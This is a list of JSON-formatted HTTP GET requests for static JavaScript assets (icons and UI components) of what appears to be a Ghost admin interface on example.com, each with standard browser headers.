{"method": "GET", "target": "/ghost/assets/layers-7kDTLSGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/link-CZvXk_iN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-filter-Bt2MgNgY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/map-pin-DPhi-Z-z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/loader-circle-DR6LgQk9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lock-CJUB02yf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/log-out-ClF6eb3N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mouse-pointer-click-IX513WkU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-pen-DhntSZKe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-warning-BcU9ft9M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-x-CHliXg1j.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-PBEdl0JE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/megaphone-CACSVFEk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/menu-DwekVO1I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-circle-off-DoxKUv2y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-circle-Dkb2Sjq_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-square-off-Rea4Wik2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-square-DRPo5CWb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/minus-9ieoP52m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/panel-left-Dum5PjJB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pen-line-D0oKPczj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pen-i7U0QAik.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pencil-DZetlUon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pipette-B0ss10AX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/plus-B4c_-nfT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/rectangle-vertical-_u1GWlCm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-2-C4mzAnNo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/repeat-2-D9d_VFn2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/repeat-nLPwqdMF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reply-BH3O9H3I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-Bl7qfg4J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-x-DYxBa1EF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/send-BTCZEaT4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-align-center-DVac9_Hi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/share-ZZz95KTn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sprout-CVztvAnl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/square-B-5NhIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/squircle-B733mDoc.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/star-Bpul5S_D.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sticky-note-DU9c-Ra1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/store-B_Ejpv31.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/table-of-contents-sPKkwCn4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tag-C6OB2BXE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-ConC9hg-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-align-start-CnvG6LkS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/thumbs-down-x3lSinKl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/thumbs-up-B1AHlahq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trash-2-yhtPWCHA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trash-CuY-N3o6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trending-down-DF5-DLrU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trending-up-ZeqNsItu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/triangle-alert-C2nVQPSI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/type-DMVGYbHH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/undo-2-FoBfGQWM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/unlink-U-Rg6HnP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/upload-C-uMUf3q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-plus-Da4UvDKo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-check-fQqHvyjW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-x-DC7feApp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-Tvyl-lTH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-BPjbwN-J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/users-B8l6egb_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/wallet-cards-DjKzv_P3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/webhook-BDtpHv94.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/x-D9mfak9O.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/zap-HzBi1coK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/icons-ClwlmWSu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-ChMehFmm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/alert-dialog-fhP2wZq3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/avatar-BMfooKMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/badge-DMeVfVsR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/banner-E48MJePb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dialog-Dgn8NUEz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/overlay-escape-Zs8Fgpfg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D-0IA9lC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dropdown-menu-C28h_ytx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/empty-indicator-meoabaL0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/separator-BK1H909V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-surface-iQhmm6Kt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-QTg0yKue.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-group-D4AIf997.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
